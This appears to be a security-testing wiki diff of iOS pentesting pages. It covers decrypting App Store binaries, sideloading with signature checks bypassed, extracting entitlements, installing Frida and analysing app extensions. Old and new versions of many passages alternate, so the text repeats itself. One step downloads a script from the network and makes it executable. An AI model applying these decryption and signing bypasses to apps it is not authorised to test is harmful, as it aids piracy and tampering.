otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
cmd LC_ENCRYPTION_INFO
cmdsize 20
cryptoff 16384
cryptsize 17416192
cryptid 0
```
The value of **`cryptoff`** indicated the starting address of the encrypted content and the **`cryptsize`** indicates the size of the encrypted content.
So, the `start address` to dump will be `vmaddr + cryptoff` and the `end address` will be the `start address + cryptsize`\
In this case: `start_address = 0x4000 + 0x4000 = 0x8000` \_\_ and `end_address = 0x8000 + 0x109c000 = 0x10a4000`
With this information it's just necessary to run the application in the jailbroken device, attach to the process with gdb (`gdb -p <pid>`) and dump the memory:
```bash
dump memory dump.bin 0x8000 0x10a4000
```
Congrats! You have decrypted the encrypted section in dump.bin. Now **transfer this dump to your computer and overwrite the encrypted section with the decrypted** one:
**Overwriting the Encrypted Section:**
Replace the encrypted section in the original app binary with the decrypted dump.
```bash
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
```
There is one more step to complete. The application is still **indicating** in its metadata that it's **encrypted**, but it **isn't**. Then, when executed, the device will try to decrypt the already decrypted section and it's going to fail.\
However, you can use tools like [**MachOView**](https://sourceforge.net/projects/machoview/) to change this info. Just open the binary and set the **cryptid** to 0:
**Finalizing Decryption:** Modify the binary's metadata to indicate the absence of encryption using tools like **MachOView**, setting the `cryptid` to 0.
![](<../../.gitbook/assets/image (470).png>)
### **Decryption (Automatically)**
### Decryption (Automatically)
#### frida-ios-dump
You can use tools like [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) to **automatically remove the encryption and an app**.
First, make sure that the configuration in **Frida-ios-dump** `dump.py` is set to either localhost with port 2222 when using **iproxy**, or to the actual IP address and port of the device from which you want to dump the binary.
Now you can safely use the tool to **enumerate** the **apps** **installed**:
#### **frida-ios-dump**
The [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) tool is employed for **automatically decrypting and extracting apps** from iOS devices. Initially, one must configure `dump.py` to connect to the iOS device, which can be done through localhost on port 2222 via **iproxy** or directly via the device's IP address and port.
Applications installed on the device can be listed with the command:
```bash
$ python dump.py -l
PID Name Identifier
---- --------------- -------------------------------------
860 Cydia com.saurik.Cydia
1130 Settings com.apple.Preferences
685 Mail com.apple.mobilemail
834 Telegram ph.telegra.Telegraph
- Stocks com.apple.stocks
...
```
and you can **dump** **one** of the listed binaries:
To dump a specific app, such as Telegram, the following command is used:
```bash
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
Start the target app ph.telegra.Telegraph
Dumping Telegram to /var/folders/qw/gz47_8_n6xx1c_lwq7pq5k040000gn/T
[frida-ios-dump]: HockeySDK.framework has been loaded.
[frida-ios-dump]: Load Postbox.framework success.
[frida-ios-dump]: libswiftContacts.dylib has been dlopen.
...
start dump /private/var/containers/Bundle/Application/14002D30-B113-4FDF-BD25-1BF740383149/Telegram.app/Frameworks/libswiftsimd.dylib
libswiftsimd.dylib.fid: 100%|██████████| 343k/343k [00:00<00:00, 1.54MB/s]
start dump /private/var/containers/Bundle/Application/14002D30-B113-4FDF-BD25-1BF740383149/Telegram.app/Frameworks/libswiftCoreData.dylib
libswiftCoreData.dylib.fid: 100%|██████████| 82.5k/82.5k [00:00<00:00, 477kB/s]
5.m4a: 80.9MB [00:14, 5.85MB/s]
0.00B [00:00, ?B/s]Generating "Telegram.ipa"
```
This command initiates the app dump, resulting in the creation of a `Telegram.ipa` file in the current directory. This process is suitable for jailbroken devices, as unsigned or fake-signed apps can be reinstalled using tools like [**ios-deploy**](https://github.com/ios-control/ios-deploy).
After this, the `Telegram.ipa` file will be created in your current directory. You can validate the success of the dump by removing the app and reinstalling it (e.g. using [**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`). Note that this will only work on jailbroken devices, as otherwise the signature won't be valid.
#### flexdecrypt
In order to **obtain the ipa file** from an installed application you can also use the tool [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) or a wrapper of the tool called [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.**\
In any case you will need to **install flexdecrypt in the device** running something like:
```markup
wget https://github.com/JohnCoates/flexdecrypt/releases/download/1.1/flexdecrypt.deb
dpkg -i flexdecrypt.deb
rm flexdecrypt.deb
```
and in order to use **flexdump**:
#### **flexdecrypt**
The [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) tool, along with its wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), allows for the extraction of IPA files from installed applications. Installation commands for **flexdecrypt** on the device include downloading and installing the `.deb` package. **flexdump** can be used to list and dump apps, as shown in the commands below:
```bash
apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
flexdump list #List apps
flexdump dump Twitter.app #Create .ipa file from app
flexdump list
flexdump dump Twitter.app
```
#### bagbak
Yet another frida based App decryptor. Requires jailbroken iOS device and [frida.re](https://www.frida.re/)
#### **bagbak**
[**bagbak**](https://github.com/ChiChou/bagbak), another Frida-based tool, requires a jailbroken device for app decryption:
```bash
bagbak --raw Chrome
```
#### r2flutch
#### **r2flutch**
**r2flutch**, utilizing both radare and frida, serves for app decryption and dumping. More information can be found on its [**GitHub page**](https://github.com/as0ler/r2flutch).
[**r2flutch**](https://github.com/as0ler/r2flutch) is a tool that uses **radare** and **frida** to **decrypt** and **dump ios apps>**
### **Installing Apps**
See the **github** for more information.
**Sideloading** refers to installing applications outside the official App Store. This process is handled by the **installd daemon** and requires apps to be signed with an Apple-issued certificate. Jailbroken devices can bypass this through **AppSync**, enabling the installation of fake-signed IPA packages.
## Installing Apps
#### **Sideloading Tools**
When you install an application without using Apple's App Store, this is called **sideloading**. There are various ways of sideloading which are described below. On the iOS device, the actual installation process is then handled by the **installd** **daemon**, which will **unpack** and **install** the application. To integrate app services or be installed on an iOS device, all **applications must be signed with a certificate issued by Apple**. This means that the application can be installed only after successful code signature verification. On a jailbroken phone, however, you can **circumvent this security feature with** [**AppSync**](http://repo.hackyouriphone.org/appsyncunified), a package available in the Cydia store. It contains numerous useful applications that leverage jailbreak-provided root privileges to execute advanced functionality. **AppSync is a tweak that patches installd**, allowing the installation of fake-signed IPA packages.
- **Cydia Impactor**: A tool for signing and installing IPA files on iOS and APK files on Android. Guides and troubleshooting can be found on [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
Different methods exist for installing an IPA package onto an iOS device, which are described in detail below.
- **libimobiledevice**: A library for Linux and macOS to communicate with iOS devices. Installation commands and usage examples for ideviceinstaller are provided for installing apps over USB.
> Please note that iTunes is no longer available in macOS Catalina. If you are using an older version of macOS, iTunes is still available but since iTunes 12.7 it is not possible to install apps.
- **ipainstaller**: This command-line tool allows direct app installation on iOS devices.
#### Cydia Impactor
- **ios-deploy**: For macOS users, ios-deploy installs iOS apps from the command line. Unzipping the IPA and using the `-m` flag for direct app launch are part of the process.
[Cydia Impactor](http://www.cydiaimpactor.com) was originally created to jailbreak iPhones, but has been rewritten to sign and install IPA packages to iOS devices via sideloading (and even APK files to Android devices). Cydia Impactor is available for Windows, macOS and Linux. A [step by step guide and troubleshooting steps are available on yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **Xcode**: Utilize Xcode to install apps by navigating to **Window/Devices and Simulators** and adding the app to **Installed Apps**.
#### libimobiledevice
#### **Allow Application Installation on Non-iPad Devices**
To install iPad-specific applications on iPhone or iPod touch devices, the **UIDeviceFamily** value in the **Info.plist** file needs to be changed to **1**. This modification, however, requires re-signing the IPA file due to signature validation checks.
On Linux and also macOS, you can alternatively use [libimobiledevice](https://www.libimobiledevice.org), a cross-platform software protocol library and a set of tools for native communication with iOS devices. This allows you to install apps over a USB connection by executing ideviceinstaller. The connection is implemented with the USB multiplexing daemon [usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux), which provides a TCP tunnel over USB.
**Note**: This method might fail if the application demands capabilities exclusive to newer iPad models while using an older iPhone or iPod touch.
The package for libimobiledevice will be available in your Linux package manager. On macOS you can install libimobiledevice via brew:
```bash
$ brew install libimobiledevice
$ brew install ideviceinstaller
```
After the installation you have several new command line tools available, such as `ideviceinfo`, `ideviceinstaller` or `idevicedebug`.
```bash
# The following command will show detailed information about the iOS device connected via USB.
$ ideviceinfo
# The following command will install the IPA to your iOS device.
$ ideviceinstaller -i iGoat-Swift_v1.0-frida-codesigned.ipa
...
Install: Complete
# The following command will start the app in debug mode, by providing the bundle name. The bundle name can be found in the previous command after "Installing".
$ idevicedebug -d run OWASP.iGoat-Swift
```
#### ipainstaller
The IPA can also be directly installed on the iOS device via the command line with [ipainstaller](https://github.com/autopear/ipainstaller). After copying the file over to the device, for example via scp, you can execute ipainstaller with the IPA's filename:
```bash
$ ipainstaller App_name.ipa
```
#### ios-deploy
On macOS you can also use the **ios-deploy** tool to install iOS apps from the command line. You'll need to unzip your IPA since ios-deploy uses the app bundles to install apps.
```bash
$ unzip Name.ipa
$ ios-deploy --bundle 'Payload/Name.app' -W -d -v
```
After the app is installed on the iOS device, you can simply start it by adding the `-m` flag which will directly start debugging without installing the app again.
```bash
$ ios-deploy --bundle 'Payload/Name.app' -W -d -v -m
```
#### Xcode
It is also possible to use the Xcode IDE to install iOS apps by doing the following steps:
1. Start Xcode
2. Select **Window/Devices and Simulators**
3. Select the connected iOS device and click on the **+** sign in **Installed Apps**.
#### Allow Application Installation on a Non-iPad Device
Sometimes an application can require to be used on an iPad device. If you only have iPhone or iPod touch devices then you can force the application to accept to be installed and used on these kinds of devices. You can do this by changing the value of the property **UIDeviceFamily** to the value **1** in the **Info.plist** file.
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>UIDeviceFamily</key>
<array>
<integer>1</integer>
</array>
</dict>
</plist>
```
It is important to note that changing this value will break the original signature of the IPA file so you need to re-sign the IPA, after the update, in order to install it on a device on which the signature validation has not been disabled.
This bypass might not work if the application requires capabilities that are specific to modern iPads while your iPhone or iPod is a bit older.
Possible values for the property [UIDeviceFamily](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/uid/TP40009252-SW11) can be found in the Apple Developer documentation.
## References
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
<details>

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# Extracting Entitlements from Compiled Application
<details>
@ -15,15 +15,17 @@ Other ways to support HackTricks:
</details>
**Page copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)
Summary of the page [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
If you only have the app's IPA or simply the installed app on a jailbroken device, you normally won't be able to find `.entitlements` files. This could be also the case for the `embedded.mobileprovision` file. Still, you should be able to extract the entitlements property lists from the app binary yourself (which you've previously obtained as explained in the "iOS Basic Security Testing" chapter, section "Acquiring the App Binary").
### **Extracting Entitlements and Mobile Provision Files**
The following steps should work even when targeting an encrypted binary. If for some reason they don't, you'll have to decrypt and extract the app with e.g. Clutch (if compatible with your iOS version), frida-ios-dump or similar.
When dealing with an app's IPA or an installed app on a jailbroken device, finding `.entitlements` files or the `embedded.mobileprovision` file directly may not be possible. However, entitlements property lists can still be extracted from the app binary, following the procedures outlined in the "iOS Basic Security Testing" chapter, particularly the "Acquiring the App Binary" section.
**Extracting the Entitlements Plist from the App Binary**
Even with encrypted binaries, certain steps can be employed to extract these files. Should these steps fail, tools such as Clutch (if compatible with the iOS version), frida-ios-dump, or similar utilities may be required to decrypt and extract the app.
If you have the app binary in your computer, one approach is to use binwalk to extract (`-e`) all XML files (`-y=xml`):
#### **Extracting the Entitlements Plist from the App Binary**
With the app binary accessible on a computer, **binwalk** can be utilized to extract all XML files. The command below demonstrates how to do so:
```bash
$ binwalk -e -y=xml ./Telegram\ X
@ -34,43 +36,26 @@ DECIMAL HEXADECIMAL DESCRIPTION
1458814 0x16427E XML document, version: "1.0"
```
Or you can use radare2 (`-qc` to _quietly_ run one command and exit) to search all strings on the app binary (`izz`) containing "PropertyList" (`~PropertyList`):
Alternatively, **radare2** can be used to quietly run a command and exit, searching for all strings in the app binary that contain "PropertyList":
```bash
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>\n<!DOCTYPE plist PUBLIC
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">
...<key>com.apple.security.application-groups</key>\n\t\t<array>
\n\t\t\t<string>group.ph.telegra.Telegraph</string>...
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n
<dict>\n\t<key>cdhashes</key>...
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
```
In both cases (binwalk or radare2) we were able to extract the same two `plist` files. If we inspect the first one (0x0015d2a4) we see that we were able to completely recover the [original entitlements file from Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Both methods, binwalk and radare2, enable the extraction of `plist` files, with an inspection of the first one (0x0015d2a4) revealing a successful recovery of the [original entitlements file from Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
> Note: the `strings` command will not help here as it will not be able to find this information. Better use grep with the `-a` flag directly on the binary or use radare2 (`izz`)/rabin2 (`-zz`).
If you access the app binary on the jailbroken device (e.g via SSH), you can use grep with the `-a, --text` flag (treats all files as ASCII text):
For app binaries accessed on jailbroken devices (e.g., via SSH), the **grep** command with the `-a, --text` flag can be used to treat all files as ASCII text:
```bash
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/
15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.application-groups</key>
<array>
...
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
```
Play with the `-A num, --after-context=num` flag to display more or less lines. You may use tools like the ones we presented above as well, if you have them also installed on your jailbroken iOS device.
> This method should work even if the app binary is still encrypted (it was tested against several App Store apps).
Adjusting the `-A num, --after-context=num` flag allows for the display of more or fewer lines. This method is viable even for encrypted app binaries and has been verified against multiple App Store apps. Tools mentioned earlier may also be employed on jailbroken iOS devices for similar purposes.
**Note**: Direct use of the `strings` command is not recommended for this task due to its limitations in finding relevant information. Instead, employing grep with the `-a` flag on the binary or utilizing radare2 (`izz`)/rabin2 (`-zz`) is advisable for more effective results.
<details>

13
mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md
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@ -16,9 +16,13 @@ Other ways to support HackTricks:
## Installing Frida
Go to **Cydia/Sileo** app in your Jailbroken device and add Frida’s repository by going to **Manage -> Sources -> Edit -> Add** and enter [**https://build.frida.re** ](https://build.frida.re). It will add a new source in the source list. Go to the F**rida** **source**, now you should **install** the **Frida** package.
**Steps to install Frida on a Jailbroken device:**
![](https://miro.medium.com/max/614/0\*qSD26kBtgt\_UIZk1.png)
1. Open Cydia/Sileo app.
2. Navigate to Manage -> Sources -> Edit -> Add.
3. Enter "https://build.frida.re" as the URL.
4. Go to the newly added Frida source.
5. Install the Frida package.
If you are using **Corellium** you will need to download the Frida release from [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) and unpack and copy to the dylib location Frida asks for, e.g.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
@ -157,7 +161,7 @@ console.log("loaded");
### Frida Stalker
Stalker is Frida’s code **tracing engine**. It allows threads to be **followed**, **capturing** every function, **every block**, even every instruction which is executed.
[From the docs](https://frida.re/docs/stalker/#:~:text=Stalker%20is%20Frida's%20code%20tracing,every%20instruction%20which%20is%20executed.): Stalker is Frida’s code **tracing engine**. It allows threads to be **followed**, **capturing** every function, **every block**, even every instruction which is executed.
You have an example implementing Frida Stalker in [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
@ -369,6 +373,9 @@ iOS only stores 25 crashes of the same app, so you need to clean that or iOS wil
[frida-tutorial](../android-app-pentesting/frida-tutorial/)
{% endcontent-ref %}
## References
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

179
mobile-pentesting/ios-pentesting/ios-app-extensions.md
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@ -14,180 +14,53 @@ Other ways to support HackTricks:
</details>
**Content copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions)
App extensions enhance the functionality of apps by allowing them to interact with other apps or the system, providing custom features or content. These extensions include:
App extensions let apps offer custom functionality and content to users while they’re interacting with other apps or the system. Some notable ones are:
- **Custom Keyboard**: Offers a unique keyboard across all apps, replacing the default iOS keyboard.
- **Share**: Enables sharing to social networks or with others directly.
- **Today (Widgets)**: Delivers content or performs tasks quickly from the Notification Center's Today view.
* **Custom Keyboard**: replaces the iOS system keyboard with a custom keyboard for use in all apps.
* **Share**: post to a sharing website or share content with others.
* **Today**: also called **widgets**, they offer content or perform quick tasks in the Today view of Notification Center.
For example, the user selects text in the _host app_, clicks on the "Share" button and selects one "app" or action from the list. This triggers the _app extension_ of the _containing app_. The app extension displays its view within the context of the host app and uses the items provided by the host app, the selected text in this case, to perform a specific task (post it on a social network, for example). See this picture from the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple\_ref/doc/uid/TP40014214-CH2-SW13) which pretty good summarizes this:
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp\_extensions\_communication.png?alt=media)
When a user engages with these extensions, such as sharing text from a host app, the extension processes this input within its context, leveraging the shared information to perform its task, as detailed in Apple's documentation.
### **Security Considerations**
From the security point of view it is important to note that:
Key security aspects include:
* An **app extension does never communicate directly with its containing app** (typically, it isn’t even running while the contained app extension is running).
* An **app extension** and the **host app** **communicate** via **inter-process** communication.
* An **app extension’s** containing app and the **host app don’t communicate** at all.
* A **Today** **widget** (and no other app extension type) can ask the system to open its containing app by calling the `openURL:completionHandler:` method of the `NSExtensionContext` class.
* Any **app extension** and its **containing app** can **access shared data in a privately** defined shared container.
* App extensions **cannot access some APIs**, for example, HealthKit.
* They **cannot receive data using AirDrop** but do can send data.
* **No long-running background tasks** are allowed but uploads or downloads can be initiated.
* App extensions **cannot access the camera or microphone on an iOS device** (except for iMessage app extensions).
- Extensions and their containing apps communicate via inter-process communication, not directly.
- The **Today widget** is unique in that it can request its app to open via a specific method.
- Shared data access is allowed within a private container, but direct access is restricted.
- Certain APIs, including HealthKit, are off-limits to app extensions, which also cannot start long-running tasks, access the camera, or microphone, except for iMessage extensions.
### Static analysis
### Static Analysis
#### **Verifying if the App Contains App Extensions**
#### **Identifying App Extensions**
If you have the original source code you can search for all occurrences of `NSExtensionPointIdentifier` with Xcode (cmd+shift+f) or take a look into "Build Phases / Embed App extensions":
To find app extensions in source code, search for `NSExtensionPointIdentifier` in Xcode or inspect the app bundle for `.appex` files indicating extensions. Without source code, use grep or SSH to locate these identifiers within the app bundle.
![](<../../.gitbook/assets/image (496).png>)
#### **Supported Data Types**
There you can find the names of all embedded app extensions followed by `.appex`, now you can navigate to the individual app extensions in the project.
Check the `Info.plist` file of an extension for `NSExtensionActivationRule` to identify supported data types. This setup ensures only compatible data types trigger the extension in host apps.
If not having the original source code:
#### **Data Sharing**
Grep for `NSExtensionPointIdentifier` among all files inside the app bundle (IPA or installed app):
Data sharing between an app and its extension requires a shared container, set up via "App Groups" and accessed through `NSUserDefaults`. This shared space is necessary for background transfers initiated by extensions.
```bash
$ grep -nr NSExtensionPointIdentifier Payload/Telegram\ X.app/
Binary file Payload/Telegram X.app//PlugIns/SiriIntents.appex/Info.plist matches
Binary file Payload/Telegram X.app//PlugIns/Share.appex/Info.plist matches
Binary file Payload/Telegram X.app//PlugIns/NotificationContent.appex/Info.plist matches
Binary file Payload/Telegram X.app//PlugIns/Widget.appex/Info.plist matches
Binary file Payload/Telegram X.app//Watch/Watch.app/PlugIns/Watch Extension.appex/Info.plist matches
```
#### **Restricting Extensions**
You can also access per SSH, find the app bundle and list all inside PlugIns (they are placed there by default) or do it with objection:
```bash
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # cd PlugIns
/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/
Telegram X.app/PlugIns
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection Read Write Name
------------ ------- ------------------ ------ ------- -------------------------
Directory 493 None True False NotificationContent.appex
Directory 493 None True False Widget.appex
Directory 493 None True False Share.appex
Directory 493 None True False SiriIntents.appex
```
We can see now the same four app extensions that we saw in Xcode before.
#### **Determining the Supported Data Types**
This is important for data being shared with host apps (e.g. via Share or Action Extensions). When the user selects some data type in a host app and it matches the data types define here, the host app will offer the extension. It is worth noticing the difference between this and data sharing via `UIActivity` where we had to define the document types, also using UTIs. An app does not need to have an extension for that. It is possible to share data using only `UIActivity`.
Inspect the app extension's `Info.plist` file and search for `NSExtensionActivationRule`. That key specifies the data being supported as well as e.g. maximum of items supported. For example:
```markup
<key>NSExtensionAttributes</key>
<dict>
<key>NSExtensionActivationRule</key>
<dict>
<key>NSExtensionActivationSupportsImageWithMaxCount</key>
<integer>10</integer>
<key>NSExtensionActivationSupportsMovieWithMaxCount</key>
<integer>1</integer>
<key>NSExtensionActivationSupportsWebURLWithMaxCount</key>
<integer>1</integer>
</dict>
</dict>
```
Only the data types present here and not having `0` as `MaxCount` will be supported. However, more complex filtering is possible by using a so-called predicate string that will evaluate the UTIs given. Please refer to the [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW8) for more detailed information about this.
**Checking Data Sharing with the Containing App**
Remember that app extensions and their containing apps do not have direct access to each other’s containers. However, data sharing can be enabled. This is done via ["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple\_ref/doc/uid/TP40011195-CH4-SW19) and the [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) API. See this figure from [Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW11):
![](../../mobile-apps-pentesting/ios-pentesting/broken-reference)
As also mentioned in the guide, the app must set up a shared container if the app extension uses the `NSURLSession` class to perform a background upload or download, so that both the extension and its containing app can access the transferred data.
**Verifying if the App Restricts the Use of App Extensions**
It is possible to reject a specific type of app extension by using the following method:
* [`application:shouldAllowExtensionPointIdentifier:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623122-application?language=objc)
However, it is currently only possible for "custom keyboard" app extensions (and should be verified when testing apps handling sensitive data via the keyboard like e.g. banking apps).
Apps can restrict certain extension types, particularly custom keyboards, ensuring sensitive data handling aligns with security protocols.
### Dynamic Analysis
For the dynamic analysis we can do the following to gain knowledge without having the source code:
Dynamic analysis involves:
* Inspecting the items being shared
* Identifying the app extensions involved
- **Inspecting Shared Items**: Hook into `NSExtensionContext - inputItems` to see shared data types and origins.
- **Identifying Extensions**: Discover which extensions process your data by observing internal mechanisms, like `NSXPCConnection`.
**Inspecting the Items Being Shared**
Tools like `frida-trace` can aid in understanding the underlying processes, especially for those interested in the technical details of inter-process communication.
For this we should hook `NSExtensionContext - inputItems` in the data originating app.
Following the previous example of Telegram we will now use the "Share" button on a text file (that was received from a chat) to create a note in the Notes app with it:
![](<../../.gitbook/assets/image (497).png>)
If we run a trace, we'd see the following output:
```bash
(0x1c06bb420) NSExtensionContext - inputItems
0x18284355c Foundation!-[NSExtension _itemProviderForPayload:extensionContext:]
0x1828447a4 Foundation!-[NSExtension _loadItemForPayload:contextIdentifier:completionHandler:]
0x182973224 Foundation!__NSXPCCONNECTION_IS_CALLING_OUT_TO_EXPORTED_OBJECT_S3__
0x182971968 Foundation!-[NSXPCConnection _decodeAndInvokeMessageWithEvent:flags:]
0x182748830 Foundation!message_handler
0x181ac27d0 libxpc.dylib!_xpc_connection_call_event_handler
0x181ac0168 libxpc.dylib!_xpc_connection_mach_event
...
RET: (
"<NSExtensionItem: 0x1c420a540> - userInfo:
{
NSExtensionItemAttachmentsKey = (
"<NSItemProvider: 0x1c46b30e0> {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}"
);
}"
)
```
Here we can observe that:
* This occurred under-the-hood via XPC, concretely it is implemented via a `NSXPCConnection` that uses the `libxpc.dylib` Framework.
* The UTIs included in the `NSItemProvider` are `public.plain-text` and `public.file-url`, the latter being included in `NSExtensionActivationRule` from the [`Info.plist` of the "Share Extension" of Telegram](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist).
**Identifying the App Extensions Involved**
You can also find out which app extension is taking care of your the requests and responses by hooking `NSExtension - _plugIn`:
We run the same example again:
```bash
(0x1c0370200) NSExtension - _plugIn
RET: <PKPlugin: 0x1163637f0 ph.telegra.Telegraph.Share(5.3) 5B6DE177-F09B-47DA-90CD-34D73121C785
1(2) /private/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35
/Telegram X.app/PlugIns/Share.appex>
(0x1c0372300) -[NSExtension _plugIn]
RET: <PKPlugin: 0x10bff7910 com.apple.mobilenotes.SharingExtension(1.5) 73E4F137-5184-4459-A70A-83
F90A1414DC 1(2) /private/var/containers/Bundle/Application/5E267B56-F104-41D0-835B-F1DAB9AE076D
/MobileNotes.app/PlugIns/com.apple.mobilenotes.SharingExtension.appex>
```
As you can see there are two app extensions involved:
* `Share.appex` is sending the text file (`public.plain-text` and `public.file-url`).
* `com.apple.mobilenotes.SharingExtension.appex` which is receiving and will process the text file.
If you want to learn more about what's happening under-the-hood in terms of XPC, we recommend to take a look at the internal calls from "libxpc.dylib". For example you can use [`frida-trace`](https://www.frida.re/docs/frida-trace/) and then dig deeper into the methods that you find more interesting by extending the automatically generated stubs.
###
## References
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
<details>

191
mobile-pentesting/ios-pentesting/ios-basics.md
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@ -14,94 +14,80 @@ Other ways to support HackTricks:
</details>
# Privilege Separation and Sandbox
Applications the user can access run as the **mobile** user while critical system processes run as **root**.\
However, the sandbox allows better control over actions that processes and applications can perform.
In iOS, a distinction in privilege exists between the user-accessible applications and the system's core processes. Applications run under the **`mobile`** user identity, while the crucial system processes operate as **`root`**. This separation is enhanced by a sandbox mechanism, which imposes strict limitations on what actions applications can undertake. For instance, even if applications share the same user identity, they are prohibited from accessing or modifying each other's data.
For example, even if two processes run as the same user (mobile), they are **not allowed to access or modify each other's data**.
Each application is installed under **`private/var/mobile/Applications/{random ID}`**\
Once installed, applications have limited read access to some system areas and functions (SMS, phone call...). If an application wants to access a **protected area,** a **pop-up requesting permission** appears.
